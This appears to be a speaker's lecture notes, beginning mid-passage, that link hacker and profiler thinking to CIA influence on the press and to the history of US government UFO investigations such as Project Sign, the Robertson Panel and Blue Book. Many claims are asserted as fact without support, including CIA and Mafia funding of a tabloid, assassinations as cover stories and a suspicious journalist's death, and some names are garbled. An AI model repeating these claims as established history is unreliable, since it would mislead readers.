multiple identities, individual and corporate, in small trusted cells.
Real hackers, a tiny minority of the vast sea of alleged hackers,
see the social and political implications of hacking, both as an action
and in terms of the contents it secures and reveals. They do not see only
the machinery and the mathematics, they see what it all means for social
and cultural constructions of reality ... and the future of humanity.
One question becomes, then, what is the nature, what is the form and
structure of the revolution that current conditions demand?
One danger of movies like The Matrix is that people are enabled to
engage in an imaginary revolution, which manages and diminishes the
dissonance they feel by having their intuitions and perceptions made visible,
then transcended. This is analogous to the “fear and pity” which Aristotle
said characterized tragedy – spectators fear for persons like themselves, but
purge that fear through pity in the resolution of the tragic dilemma.
Hence, movies, books, multi-payer online games, narratives of all
kinds, can be means for diminishing anxiety, managing cognitive
dissonance, and rendering the population stable and supportive of the status
quo.
Unfortunately, such a society creates its own enemies by rendering the
unthinkable thinkable. e.g., Operation Northwoods means that 9/11 as a
deliberate plot by elected officials is thinkable. The toppling of Saddam’s
statue as a staged event means that the idea that we did not land on the moon
but enacted the deception on a sound stage is thinkable.
In an environment in which causality can not be determined, people are
likely to turn to non-rational modes of explanation.
All of this is preamble and relevant to the subject.
What methodology is required, then? A hacker state of mind.
Beginner’s mind, Zen mind.
A methodology or model from information security and profiling, which is
outlined by paraphrasing an experienced, CIA profiler ... who said:
Profiling like chasing black hat bad guy hackers raises some of the same
issues:
To know who is the enemy you must KNOW YOURSELF.
Zen meditation helps distinguish between mind and system.
Warnings and indicators –look with a beginner’s mind – with no
preconceived notions. “THE DATA WILL TELL ME WHAT I NEED TO
KNOW.” Whether hackers or serial killers. The stereotype, any
preconceived notion, such as “a young male hacker,” must be disregarded.
There is no template in particular cases but people still bring preconceptions
to the case. Like the DC sniper. The mind imposes patterns automatically.
Network patterns – data – revealing a series of behaviors => leads to
hackers. Usual conceptualizations of the problem are far too narrow and
unsophisticated when you watch a good hacker. E. g. as Matt Blaze said,
“the weakest link in the security chain is the definition of the problem - and
the real definition of the problem is frequently not the definition that people
work with.”
For Infosec the customary approach, then, is sophomoric. Only the
data will tell you what they are doing, what they left behind. Focus on the
evidence they leave. What were they after? => track the data. be meticulous.
Covering tracks completely is rare. There is always a m.o. of a person
entering a system, whether a house or a computer network – unconscious or
conscious, patterns and identity will reveal itself.
The work requires: INTENSE CONCENTRATION AND
CONSTANT SELF-MONITORING. There are a thousand puzzle pieces and
no box with a picture. The degree of CLARITY required is great. “If I had a
stereotype in mind, I always blew it. I LEARNED NOT TO FORM A
PATTERN TOO QUICKLY.”
Exactly the opposite – the popular conception of the profiler as
someone who leaps to a conclusion is WRONG. We have to UNLEARN
before we can learn, like the Zen cup story.
Observe yourself => notice yourself jumping to a conclusion in
thought or word => once you see that, say: wait! stop! interrupt and back
track.
Ask: is this REALLY true? or does it only seem or feel true?
Ask: how do you feel about thinking that way? Stop yourself from
completing the loop too quickly. Look at your self and ask: who am I to
know that, think that – without sufficient data?
In pursuit of INSIDERS – look for the one WHO DOES NOT FIT
THE PATTERN.
This m.o. is also appropriate to the study of UFOlogy.
A danger of doing this work or any spooky work is SECONDARY
TRAUMA
“HOW TO LIVE IN A WORLD WITHOUT WALLS”
the story of the IC professional who lost his self, his identity, in the
process of doing his work. The high degree of mental illness in the IC. How
it is handled inside and the disconnect with the real process of healing.
some of the difficulties in UFOlogy:
complexity (Bill Gates’ commencement address, Bruce Schneier) is real
intentional confusion
the national security state
The Cultural Cold War by Stonor – the entire context of my life was
bent. Stephen Spender, my teacher, and his magazine, Encounter, a CIA
operation from start to finish. And publishing. And abstract art.
“The Cultural Cold War” – 1000+ books, publishing, influence, journalists –
what does this MEAN for the assumed CONTEXT?
magazines, books, publishing, abstract modern art – Steinbeck
remember the historian at NSA – we can discuss only shared
assumptions to 1945.
how bad is it? ... ? well, we don’t know what we don’t know but we
know we don’t know.
how did Fodor’s begin?
insurance companies – a conversation with a CEO
The devil in Woody Allen’s Deconstructing Harry, "Sometimes
you’re up, sometimes down. In the end, the house always wins. It doesn't
mean you didn't have fun."
The effects of COMPARTMENTALIZATION:
e.g. JFK autopsy: “it was the damndest thing ... “ projection onto blank
spaces.
A friend reports his psy ops briefing, thirteen stories down, underground, at
an AFB base - “that’s exactly what we want people to believe”
The purpose of propaganda (Joseph Goebbels: “Entertainment is the
best form of propaganda.”) and psy ops is for people to believe they have
chosen to act as they do for reasons that are their own, when in fact they are
not. Beliefs are also a behavior, a mental activity, every bit as much as other
physical actions. Beliefs are actions, because they frame how we will act,
what we will do, and what we believe about why we did what we do. Studies
show that people act, then invent reasons for why they acted which are
rationalizations, e.g. after hypnosis. Actions are for unconscious reasons,
conscious processes often make things seem smooth, intelligible, safe. Fuzzy
logic distorting the truth of our lives.
If you determine the questions people ask, you don’t have to worry
about the answers.
Some consequences of secrecy and psy ops: blowback:
Alexander Haig and disinformation
The Gulf of Tonkin.
connecting the dots: CINQUE and Cujo of the SLA LEARNING TO
BRAINWASH at Vacaville State Prison in a CIA program
Ted Kozynkski as an undergraduate brutalized in a covert operation
Army counter-intelligence in Haiti and cocaine routes.
Gary Webb.
the impact of Secrecy – Daniel Moynihan, Ted Gup. To what end?
beyond mutuality, the enemy is GROUP THINK
cultures assimilates us.
Margaret Mead – one week and one year
the antidote: Mutuality, Feedback, Accountability – all three must be there.
UFOs and UFOlogy
why is UFOlogy, virtually alone of all interesting areas, NOT STUDIED?
at least under social sciences, as studies of delusion, misperception?
because the more one studies the data, the more one realizes there are many
credible cases. The nature of the inquiry changes. One moves through a
looking-glass. The extent of the interface with other life becomes difficult to
grasp.
So how are we to proceed?
1) stay with the public data
2) stay with the self-collected data
(3) but do stay with the data
The beginning, for me, of a contextual shift: the Major in the church
basement.
what I did as a result while a priest – what I heard
the other clergy in the hotel room with Edgar Mitchell and Allen
Hynek. They did not question that UFOs exist. They discussed only, were
they from other places? other times? other dimensions? not, was the
phenomena real – they KNEW that it was – but what was it? and why was it
managed as it was?
The suggestion that is was managed as it was and is for good reasons:
The Brookings Institute study on the impact of extraterrestrial encounter.
What the NSA analyst said, the analogy with the Japanese.
How he interviewed people, as I did, in secrecy and in confidence.
Some cases:
the fisherman on a Wisconsin lake early in the morning
a typical event - my employee, what she saw
the potter having a smoke outside his shed at midnight in the
countryside
the man walking in the woods at twilight
the hunter and his shock when he entered the clearing
the Air Force Lieutenant and his direct report – the reality of his
fear – “those eyes, I’ll never forget those eyes”
reports of humanoids – widespread, consistent. Examples. The
work of the French. The COMETA report on behalf of Europe.
people who waited after talks – the farm in North Dakota, Viet
Nam vets
conversations with others:
NSA analyst
historian in the “invisible college” for decades
Jerome Clark
Richard Hall
journalist Leslie Keans
Some historical background:
Fortean events
the edge is the center – collecting at the edges
Reports long before World War 2. Our time is not the time of the
universe.
Foo fighters and ghost rockets
the beginning of the modern era – 1947-1952
The phenomena was mediated always through media (duh). So ... let’s talk
about media coverage - newspaper coverage in the beginning and how it
changed in the 1950s.
Look Magazine “Hunt for the Flying Saucers” July 1 1952 – three weeks
before the Washington flap that precipitated a crisis
“Saucer evades jet, pilot reveals” – headline of The Washington Post
Typical articles in the NY Times, Washington Post. The article in Life
Magazine, the extraterrestrial hypothesis.
What about disreputable media like ... the National Inquirer?
Generoso (Gene) Pope - the founder - was in CIA doing psy ops in
1952
the newspaper did not make money until the 1960s. Where did the
large amount of money come from to sustain it? Through Frank Costello, the
same Mafia family that was used in a few later to plot to assassinate Castro.
The Missing Times cases - turning everything into anomalies so they
don’t connect. Like every political assassination in the United States is by a
“lone gunman.” There is “no conspiracy.” The CIA told Congress even
Lincoln was not a conspiracy, despite efforts to kill others at the same time.
The JFK solution was announced within a few hours. It is a cover story –
that does not say what the real story is, only that the cover story is not the
real story.
UFO stories never made much money for the NI but were carried
frequently. Celebrity stories, others, made more money.
John Kenneth Galbraith, Ambassador to India, became incensed at a
periodical like the NI because of the trash it published. He investigated. It
was a CIA operation.
connect the dots: The Cultural Cold War.
what is the subject of The Missing Times?
a friend in 1975 told Hansen that UFOs were appearing over ICBM silos
near Great Falls Montana. Many accounts appeared in the local press. Some
were also in official USAF records, hidden until FOIA requests made them
public.
Much regional coverage: no national coverage. Over 130 reports of
sightings in Montana in late 1975.
More context:
UFO sightings at ICBM sites and nuclear Weapons Storage
Areas
By Robert L. Hastings
Although the vast majority of Americans are completely unaware of its existence, the
UFO/Nukes Connection is now remarkably well-documented. Air Force, FBI, and CIA
files declassified via the Freedom of Information Act establish a convincing, ongoing
pattern of UFO activity at U.S. nuclear weapons sites extending back to December
1948.
For more than 30 years, I have been interviewing former and retired U.S. Air Force
personnel regarding their direct or indirect involvement in nuclear weapons-related
UFO sighting incidents. These individuals—from retired colonels to former airmen—
report extraordinary encounters which have obvious national security implications. In
fact, taken to their logical conclusion, the reported incidents have planetary
implications, given the horrific consequences that would result from a full-scale,
global nuclear war.
At the time of their experiences, my former/retired USAF sources held positions
ranging from nuclear missile launch and targeting officers, to missile maintenance
personnel, to missile security police. The incidents described occurred at Malmstrom,
Minot, F.E. Warren, Ellsworth, Vandenberg, and Walker AFBs, between 1963 and
1996. Other sources were stationed at Wurtsmith and Loring AFBs, where B-52
nuclear bombers were based during the Cold War era
Herb Strentz, Prof of Journalism, in 1970 survey of UFO press
coverage – estimated “Hundreds of thousands, perhaps a million or more,
UFO news items were published in the nation’s daily newspapers during the
years 1947-1966. – also he was on staff for the Condon Committee, I
talked to him, and he said it was anything BUT science.
link to the historical background of the National Security State
1952. What was happening?
Allen Dulles was director in 1953
Lt Genl James Doolittle said in 1954: “There are no rules in such a
game ...hitherto acceptable norms of human conduct do not apply.” This was
something NEW for the USA. While criteria for war crimes were invented
for the trials at Nuremberg, Operation Paperclip was well underway. Truman
ordered it shut down but it continued covertly into the 1970s. The President
is not always in the loop. (Is that a conspiracy theory? No. It is a fact.)
By 1953 the CIA was six times larger than in 1947.
By 1952 ¾ of the CIA budget went to clandestine collection and
covert operations, e.g. Operation Ajax ousted Iran’s Mohammad Massadegh.
Operation Success in 1954 ousted Guatemala’s Jacobo Arbenz Guzman
(Eisenhower hired Eddie Bernays to manage the public “spin” of Operation
Success, applying public relations to covert operations).
What was the relationship between the media and the CIA in the
1950s?
socialization of a reporter and Leslie Kean’s experience
Carl Bernstein 1978 Rolling Stone - 400+ American journalists did work for
the CIA – at least 200 signed secrecy agreements
THEY DID ASSIGNMENTS FOR 25 YEARS.
These media execs – among others - cooperated:
William Paley, CBS
Henry Luce, Time
TIME MAGAZINE – November 7 1955 – “The USAF has explained
in non-sensational ways almost all sightings to date.”
Arthur Hays Sulzberger, New York Times, - signed a secrecy agreement
Harry Bingham Sr., Louisville Courier-Journal
James Copley, Copley News Service
Life held the Zupruder film for years and reversed the print when
publishing the head shot
Has this changed? CIA guy at Def Con 12 years ago: “it’s easier to get
forgiveness than permission” - heh heh
Coral Lorenzen p. 83 – recounts a meeting with Hynek and Lt. Robert
Olssen from ATIC (Air Technical Intelligence Command) who surprised her
by saying outright: “we’re going to try to keep reports out of the
newspapers.”
and ...
Dorothy Kilgallen – d. 1955
Dorothy Kilgallen was the most famous syndicated woman journalist of her
day. Stationed in England in 1954 - 55, and privy to the highest levels of
English society and its secrets, she wired two unusual dispatches which may
have contributed to her death. The first, sent in February 1954, mentioned a
"special hush-hush meeting of the world's military heads" scheduled to take
place the following summer. The 1955 dispatch, which barely preceded her
death from an alleged overdose of sleeping pills and alcohol quoted an
unnamed British official of cabinet rank, `We believe, on the basis of our
inquiry thus far, that saucers were staffed by small men-probably under four
feet tall. It's frightening, but there is no denying the flying saucers come
from another planet.'
Whatever the source (rumored to be the Earl of Mountbatten), this kind of
leak in the atmosphere of the mid- 50s was an unacceptable leak. It is well to
recall that the secret CIA-orchestrated Robertson Panel had met in 1953 and
issued the Robertson Report. Briefly summarized, this document-and the
attitudes reflected there - represented a new hard-line attitude to covering up
all significant UFO phenomena.
[IN FEBRUARY 1996, an independent task force of the Council on
Foreign Relations led by Richard Haass, a former senior director for Near
East and South Asian Affairs of the National Security Council in the Bush
administration, proposed taking a "fresh look…at limits on the use of non-
official 'covers' for hiding and protecting those involved in clandestine
activities." Haass later publicly expanded on this point, challenging what he
characterized as the prohibition on the use of journalists as undercover
intelligence agents. The outcry among journalists-including many who are
members of the Council of Foreign Relations-led council president Leslie
Gelb to distance himself and the council from the task force and its
recommendations.
The reaction to the controversy among U.S. intelligence professionals,
however, was quite different-and far more disturbing to journalists. John
Deutch, director of Central Intelligence, appeared before Congress and said
there was no need to change U.S. policy as Haass had advocated, since the
CIA already had the power to use U.S. reporters as spies. Under the terms of
the guidelines adopted after the Church Commission report, the CIA director
retained the right to approve such recruitment if he judged it necessary,
Deutch explained. Deutch received public support for his interpretation of
the CIA's prerogative from Stansfield Turner, the CIA chief in the Carter
administration. Speaking to a gathering of the American Society of
Newspaper Editors, Turner revealed that he had authorized the use of
journalists in intelligence operations three times during his tenure as CIA
director.]
CIA when Ramparts was publishing on covert activities including the
use of reporters smeared the publishers
you have to get below the filter to see the data
if you treat the filter as if it is the data, you are OWNED
What was happening in the 1940s and 1950s with UFOs?
December 1952 H. Marshall Chadwell, asst. director of scientific
intelligence at the CIA, sent a memo to the Director about the UFO
situation: “Reports of incidents convince us that there is something going us
that must have immediate attention ... sightings of unexplained objects at
great altitudes and traveling at high speeds in the vicinity of major US.
defense installations are of such nature that they are not attributable to
natural phenomena or known types of aerial vehicles.”
Ruppelt, 1956, The Report on Unidentified Flying Objects: “UFOs were
seen more frequently around areas vital to the defense of the United States,”
such as White Sands, Oak Ridge, SAC bases, Los Alamos-Albuquerque, etc.
– see article in Look Magazine 1952.
Project Sign was instigated following a recommendation from Lt. General
Nathan Twining then head of Air Materiel Command Just before this, Brig.
Gen. George Schulgen, of the Army Air Force air intelligence division, had
completed a preliminary review of the many UFO reports--then called
"flying discs" by military authorities--which had received considerable
publicity following the Arnold sighting of June 24, 1947. Schulgen's study,
completed in late July 1947, concluded that the flying discs were real craft.
Schulgen then asked Twining and his command, which included the
intelligence and engineering divisions located at Wright Field), to carry out a
more exhaustive review of the data.
In his formal letter to Schulgen Twining wrote:
• a. The phenomenon reported is something real and not visionary
or fictitious.
• b. There are objects probably approximately the shape of a disc,
of such appreciable size as to appear to be as large as a man-made
aircraft.
• c. There is the possibility that some of the incidents may be caused by
natural phenomena, such as meteors.
• d. The reported operating characteristics such as extreme rates of
climb, maneuverability (particularly in roll), and action which
must be considered evasive when sighted or contacted by friendly
aircraft and radar, lend belief to the possibility that some of the
objects are controlled either manually, automatically or remotely.
• e. The apparent common description of the objects is as follows: ...
• f. It is possible within the present U.S. knowledge... to construct a
piloted aircraft which has the general description ...
• g. Any development in this country along the lines indicated would be
extremely expensive...
• h. Due consideration must be given to the following:
(1) The possibility that these objects are of domestic origin - the
product of some high security project not known to AC/AS-2 or this
command.
(2) The lack of physical evidence in the shape of crash recovered
exhibits which would undeniably prove the existence of these objects.
(3) The possibility that some foreign nation has a form of propulsion,
possibly nuclear, which is outside of our domestic knowledge.
Project Sign was established in late 1947, charged with investigating
“flying saucer” reports. In line with orders from high-ranking U.S.A.F
officers, Sign’s personnel operated on the principle that the subject should
be taken seriously, on the grounds that UFOs may represent genuine aircraft
whose origins are mysterious and possibly threatening to US security.
Though Sign earlier investigated earlier UFO reports, Historian David
Jacobs writes that the Chiles-Whitted UFO Encounter of July 24, 1948 “had
a great impact at Sign” (Jacobs, 47). In that encounter, two experienced
airline pilots claimed a torpedo-shaped object nearly collided with their
commercial airplane. Sign personnel judged the report convincing and
compelling, partly because the alleged object also closely matched the
description of an independent sighting from The Hague a few days earlier.
According to Michael Swords, Sign personnel “intensely investigated” the
Chiles-Whitted for several months. Despite the lack of physical evidence,
some Sign personnel judged this and other UFO reports quite persuasive,
and concluded that UFOs could have only a non-earthly source. Swords
writes,
“The project members reasoned that they had several dozen aerial
observations that they could not explain, many of them by military
pilots and scientists. The objects seemed to act like real technology,
but their sources said they were not ours.
Given that there was no evidence that either the Americans or Soviets had
anything remotely like the UFOs reported, Sign personnel gradually began
considering extraterrestrial origins for the objects.
Swords argues that this consideration of non-earthly origin was “not as
incredible in intelligence circles as one might think.” Because many in the
military were “pilots, engineers and technical people” they had a “’can do’
attitude” and tended to regard unavailable technologies not as
impossibilities, but as challenges to be overcome. Rather than dismissing
UFO reports out of hand, they considered how such objects might function.
This perspective, argues Swords, “contrasted markedly with many scientists
characterizations of such concepts as impossible, unthinkable or absurd.”
(Swords, p93)
According to Swords, the “Estimate of the Situation” was probably
completed in September 1948. The Estimate also argued that UFO reports
might closely coincide with the approach of the planets Mercury, Venus or
Mars to Earth, that the UFOs might be using the planets as launching bases,
and predicted a wave of UFO reports in mid-October.
In late September or early October, 1948, the Estimate was approved by
Colonels William Clingerman and Howard McCoy (Sneider’s superiors),
who then submitted it to the office of General Charles Cabell, the chief of
Air Force intelligence.
According to Swords The Pentagon went into an “uproar” over the
Estimate, which generated “intense” debate. Cabell was newly-appointed,
and found himself in charge of a “split house:” some were sympathetic and
intrigued, if not entirely convinced of the Estimate’s accuracy, while others
rejected the very idea of interplanetary saucers as impossible. Unsure of how
to proceed, Cabell eventually submitted the Estimate to his superior, General
Hoyt Vandenberg, Chief-of-Staff of the U.S. Air Force.
According to Ruppelt, the Estimate was rejected by Vandenberg primarily
due to lack of supporting physical evidence, and was “batted back down” the
chain of command.
In a letter dated November 3, 1948, Cabell wrote to Sign, via McCoy,
describing flying saucers as real, but rejecting the interplanetary hypothesis
and asking for another Estimate. Cabell wrote:
The conclusion appears inescapable that some type of flying object
has been observed. Identification and the origin of these objects is not
discernible to this Headquarters. It is imperative, therefore, that efforts
to determine whether these objects are of domestic or foreign origin
must be increased until conclusive evidence is obtained. The needs of
national defense require such evidence in order that appropriate
countermeasures may be taken.
McCoy responded in a somewhat defensive letter dated November 8, 1948.
He noted that many of the UFO reports were misidentified everyday
phenomena), but also restated the rejected ideas of the Estimate without
explicitly endorsing the interplanetary hypothesis; as Swords
writes,”[Project Sign] just had their knuckles rapped, so they defended
themselves.” McCoy wrote,
...there remains a certain number of reports for which no reasonable
everyday explanation is available. So far, no physical evidence of the
existence of the unidentified sightings has been obtained...
The possibility that the reported objects are vehicles from another
planet has not been ignored. However, tangible evidence to support
conclusions about such a possibility are completely lacking...
When Sign personnel refused to abandon the interplanetary hypothesis,
many were reassigned, and Sign was renamed Project Grudge in 1949.
(photographs from gun cameras and civilians (e.g. Trent in McMinnville
Oregon), movie film – not evidence.) According to Ruppelt, “The estimate
died a quick death. Some months later it was completely declassified and
relegated to the incinerator. A few copies, one of which I saw, were kept as
mementos of the golden days of the UFO’s.”
The first public report of the Estimate was in Captain Edward J. Ruppelt’s
1956 book, The Report on Unidentified Flying Objects. He wrote:
In intelligence, if you have something to say about some vital problem
you write a report that is known as an “Estimate of the Situation.” A
few days after the Chiles-Whitted UFO report, the people at ATIC
decided that the time had arrived to make an Estimate of the Situation.
The situation was the UFO’s; the estimate was that they were
interplanetary!
It was a rather thick document with a black cover and it was printed
on legal sized paper. Stamped across the front were the words Top
Secret. It contained the Air Force’s analysis of many of the [UFO]
incidents I have told you about plus many similar ones. All of them
had come from scientists, pilots, and other equally credible
observers, and each one was an unknown ... “ When the estimate
was completed, typed, and approved, it started up through channels to
higher command echelons. It drew considerable comment but no one
stopped it on its way up.
No copies of this near-legendary document have surfaced since.
Ruppelt’s 1956 book, which first publicly disclosed the Estimate, was
cleared by the Air Force. Clark writes (Clark, 1998), that as late as 1960, Air
Force officials denied that the Estimate was real, despite the fact that censors
had approved Ruppelt’s book a few years before.
According to Clark, the Estimate’s existence was confirmed by U.S. Air
Force Major Dewey J. Fournet, who as an Air Force major in the Pentagon
served as liaison with official UFO project headquartered at Wright-Pat.”
(Clark, 178) Fournet has been described as being “unimpressed” with the
Estimate, and was furthermore quoted as describing the ET conclusion as an
“extreme extrapolation” based on scant evidence.
An Air Force consultant, astronomer Dr. Allen Hynek, also verified the
Estimate’s existence. (Hynek, 1973)
2. Ruppelt – The least unlikely explanation for UFOs is the extraterrestrial,
3. 1950 Wilbert Smith, a scientist at the Canadian Department of
Transport, learned through “direct inquiries” through the Canadian embassy
in Washington that “flying saucers exist and were the most highly classified
subject in the United States government, rating higher even than the H-
bomb.”
4. The Robertson Panel was a committee commissioned by the CIA in 1952
in response to widespread reports, especially in the DC area. The panel was
briefed on U.S. military activities and intelligence, hence the report was
originally classified Secret.
Later declassified, the Robertson Panel's report concluded that UFOs were
not a direct threat to national security, but could pose an indirect threat by
overwhelming standard military communications due to public interest in the
subject. Most UFO reports, they concluded, could be explained as
misidentification of mundane aerial objects, and the remaining minority
could, in all likelihood, be similarly explained with further study.
The Robertson Panel concluded that a PR campaign should be
undertaken in order to "debunk” UFOs, and reduce public interest in
the subject, and that civilian UFO groups should be monitored. There is
evidence this is was carried out more than two decades after the Panel's
conclusion; see "publicity and responses" below.
Critics (including a few panel members) would later lament the Robertson
Panel's role in making UFOs a somewhat disreputable field of study.
In 1952, there was a wave of UFO reports in the United States, especially
centered around Washington DC.. In response, so many civilians contacted
various government agencies regarding UFO reports that daily governmental
duties were impacted; the NY Times reported on 8/1/52 that "regular
intelligence work has been affected." There was a general concern among
the military that the hysteria and confusion generated by UFO reports could
be utilized by the United States' enemies, primarily the Soviet Union..
The Air Force had earlier commissioned the Battelle Memorial Institute to
scientifically study the various UFO reports collected by Sign, Grudge, and
Blue Book. but Battelle insisted they needed more time to conduct a proper
study. The CIA thought the question so pressing that they authorized a
committee in late 1952.
The Robertson Panel first met formally on Jan 14 1953 under the direction
of Howard Percy Robinson, a physicist, CIA employee and director of the
DOD Weapons Evaluation Group.
The Panel had four consecutive days of formal meetings; in total, they met
for about 12 hours.
The first day, they viewed two amateur motion pictures of UFOs: the
Mariana UFO incident and the 1952 Utah UFRO film (the latter was taken
by Navy Chief Petty Officer Delbert C. Newhouse, who had extensive
experience with aerial photography). Two Navy photograph and film
analysts (Lieutenants R.S. Neasham and Harry Woo) then reported their
conclusions: based on more than 1000 man hours of detailed analysis, the
two films depicted objects that were not any known aircraft, creature or
weather phenomena. Air Force Captain Ruppelt then began a summary of
Air Force efforts regarding UFO studies.
The second day, Ruppelt finished his presentation. Hynek then discussed the
Battelle study, and the panel discussed with Air Force personnel the
problems inherent in monitoring UFO sightings.
The third day, Air Force Major Dewey J. Fournet spoke to the panel; for
over a year he had coordinated UFO affairs for the Pentagon. Fournett
supported the extraterrestrial hypothesis as the best explanation for some
puzzling UFO reports. For the remainder of the third day, the panel
discussed their conclusions, and Robertson agreed to draft a preliminary
report.
The fourth and final day, the panel rewrote and finalized their report.
The Robertson Panel's official report concluded that 90 percent of UFO
sightings could be readily identified with meteorological, astronomical, or
natural phenomena, and that the remaining 10 percent of UFO reports could,
in all likelihood, be similarly explained with detailed study. However, the
Panel's conclusions also seemingly ignored eyewitness testimony in film
cases that the objects filmed, while closer to the camera operators, were
clearly-defined metallic flying saucers, not the rather indistinct lights
seen on the films.
Furthermore, the Panel suggested the Air Force should begin a "debunking”
effort to reduce "public gullibility" and demystify UFO reports, partly via a
PR campaign, using psychiatrists, astronomers, and assorted celebrities to
significantly reduce public interest in UFOs. It was also recommended that
the mass media be used for the debunking, including influential media giants
like the Disney.. The primary reasoning for this recommendation lay in the
belief that the Soviets might try to "mask" an actual invasion of the USA by
causing a wave of false "UFO" reports to swamp the Pentagon and other
military agencies, thus temporarily blinding the US government to the
impending Communist invasion.
Their formal recommendation stated "That the national security agencies
take immediate steps to strip the Unidentified Flying Objects of the special
status they have been given and the aura of mystery they have unfortunately
acquired."
Also recommended was government monitoring of civilian groups
studying or researching UFOs "because of their potentially great
influence on mass thinking ... the apparent irresponsibility and possible
use of such groups for subversive purposes should be kept in mind."
Ruppelt's 1956 book The Report On unidentified Flying Objects contained
the first publicly-released information about the Robertson Panel, with a
summary of their proceedings and conclusions
Panel member Thornton Page would later change some of his more
stridently skeptical conclusions regarding the Panel's report, and regarding
UFOs in general. In his 1969 critique of the Condon Report, Page would
lament the "excessive levity" he brought to the Panel's proceeding, detailing
how he later thought the UFO subject deserved serious scrutiny.
Hynek's opinions changed in later years as well, so much that he became, to
many, the scientifically respectable voice of UFOlogy. He would lament that
the Robertson Panel had "made the subject of UFOs scientifically
unrespectable, and for nearly 20 years not enough attention was paid to the
subject to acquire the kind of data needed even to decide the nature of the
UFO phenomenon."
According to Swords[, the Robertson Panel's report had an "enormous"
impact throughout the U.S. Government: the CIA abandoned a "major high
level [UFO] investigation" planned in conjunction with the NSC. UFO
research projects by personnel in the Pentagon were quashed; and Project
Blue Book's hopes to establish a scientific advisory board were dashed. Blue
Book was also downgraded in status and stripped of most responsibility for
investigating serious, well-attested UFO cases, which were instead secretly
turned over to a newly-formed division of the Air Defense Command.
Directives were also issued not to discuss the unexplainable cases with the
public and to reduce the percentage of "unknowns"
Though the CIA's official history suggests that the Robertson Panel's
conclusions were never carried out, there is evidence that contradicts this.
Perhaps the most unambiguous evidence for the Robertson Panel's covert
impact on news media reporting about UFOs is a personal letter by Dr.
Thornton, discovered in the Smithsonian archives by biochemist Swords.
The 1966 letter, addressed to former Robertson Panel Secretary Frederick
Durant. which confides that Page "helped organize the CBS TV show
around the Robertson Panel conclusions." Page was no doubt referring to the
CBS Reports TV broadcast of the same year, "UFOs: Friend, Foe, or
Fantasy?" narrated by Water Cronkite. (Incidentally, this program was
criticized for inaccurate and misleading presentations). Page's letter indicates
that the Robertson Panel was still putting a negative spin on UFO news at
least 13 years after the panel met.
Furthermore, according to Swords[, there is ample evidence to prove that
CSI was pressured to disband by the U.S. Government. FBI documents
indicate that noted engineer Walter Riedel was pressured to resign from CSI,
and not long afterwards, the group disbanded; in response, Robertson wrote
to Marshall Chadwell, stating "[t]hat ought to fix the Forteans.” (Robertson
was referring to the devotees of American writer Charles Fort, (1874-1932),
whose books argued in favor of the reality of extraterrestrial on Earth.)
Some scholars have suggested that the Robertson Panel's true objective was
to justify a CIA domestic propaganda-and-surveillance campaign, rather
than to investigate UFOs. Journalist Howard Blum writes that it is difficult
to accept any argument that the Robertson Panel was ever intended as a
serious scientific analysis: for example, the Panel's perfunctory rejection of
the U.S. Navy's detailed examination of the UFO films is all but impossible
to justify on scientific grounds. Similarly, Swords has argued that the Panel
seems to have been designed as an elaborate theater exercise instead of a
serious attempt to get to the bottom of the UFO issue. Although the Panel
put on a show of evaluating some UFO evidence, its scientific analysis was
cursory and its conclusions mostly likely pre-ordained. Also, the Panel only
looked only at evidence in the public domain, not higher-quality classified
military evidence. Psychologist David R. Saunders, a member of the
University of Colorado's UFO study (the Condon Committee), had earlier
expressed similar conclusions. Given that Robertson had worked as a high-
level scientific-intelligence officer during World War II, he would have been
familiar with the use of such tactics to hide a sensitive national-security
problem from scrutiny by outsiders.
The Robertson Panel's conclusions and recommendations had a great
influence on official United States policy regarding UFOs for many decades.
When the Battelle Memorial Institute finally finished their massive review
of Air Force UFO cases in 1954 (called "Project Blue Book Special Report
No. 14"), their results were markedly different from those of the Robertson
Panel. Whereas the Robertson Panel spent only twelve hours reviewing a
limited number of cases, the Battelle Institute had four full-time scientific
analysts working for over two years analyzing 3201 reports. Classifying a
case as "unknown" required agreement among all four analysts, whereas a
"known" or conventional classification required agreement by only two
analysts. Still they concluded 22% of the cases remained unsolvable. The
percentage climbed to 35% when considering only the best cases and fell to
18% for the worst cases. Not only are the percentages of unknowns much
higher than those for the Robertson Panel, but the higher percentages for the
better cases are directly opposite one conclusion of the panel that their
remaining 10% of unknowns would disappear if further investigated and
more information was available. Furthermore, the Battelle study had already
thrown out cases they deemed to have insufficient information to make a
determination (9% of all cases). Thus, the fact that a case was classified as
"unknown" had nothing to do with lack of information or investigation.
The study also looked at six characteristics of the sightings: duration, speed,
number, brightness, color, and shape. For all characteristics, the knowns and
unknowns differed at a highly statistically significant level, further
indicating that the knowns and unknowns were distinctly different classes of
phenomena.
Despite this, the summary section of the final report declared it was "highly
improbable that any of the reports of unidentified aerial objects... represent
observations of technological developments outside the range of present-day
knowledge." A number of researchers have noted that the conclusions of the
analysts were usually at odds with their own statistical results, displayed in
240 charts, tables, graphs and maps. Possibly the analysts simply had trouble
accepting their own results. Others conjecture this was another result of the
Robertson Panel, the conclusions being written to satisfy the new political
climate within Project Blue Book following the panel.
Project Blue Book
Project Blue Book was one of a series of systematic studies of UFOs conducted by the
Air Force. Started in 1952, it was the second revival of such a study. A termination order
was given for the study in December 1969, and all activity under its auspices ceased in
January 1970.
Project Blue Book had two goals: to determine if UFOs were a threat to national security,
and to scientifically analyse UFO-related data. Thousands of UFO reports were collected,
analyzed and filed. As the result of the Condon Report, which concluded there was
nothing anomalous about any UFOs, Project Blue Book was ordered shut down in
December 1969. This project was the last publicly known UFO research project led by
the USAF.[1]
By the time Project Blue Book ended, it had collected 12,618 UFO reports, and
concluded that most of them were misidentifications of natural phenomena (clouds, stars,
et cetera) or conventional aircraft. A few were considered hoaxes. 701 of the reports —-
about six percent —- were classified as unknowns, defying detailed analysis.
Though many accepted Blue Book's final conclusions that there was nothing
extraordinary about UFOs, critics -— then and now —- have charged that Blue Book,
especially in its later years, was engaging in dubious research, or even perpetuating a
cover up of UFO evidence. Evidence suggests that not only did some UFO reports bypass
Blue Book entirely, but that the U.S. Air Force continued collecting and studying UFO
reports after Blue Book had been discontinued, despite official claims to the contrary.
leading to ...
The Condon Committee
The Condon Committee was the informal name of the University of
Colorado UFO Project, a study of UFOs, undertaken at the U of Colorado
and directed by physicist Edward Condon from 1966 to 1968. The Condon
Committee was instigated at the behest of the USAF which had studied
UFOs since the 1940's.
After examining many hundreds of UFO files from the Air Force’s Project
Blue Book and from civilian UFO groups, the Committee selected 56 to
analyze in detail for its final report; a document which, wrote Hynek, was
intended "presumably to settle once and for all ... the vexing problem of
UFOs with which the air force had been saddled for 20 years." (Hynek, 192)
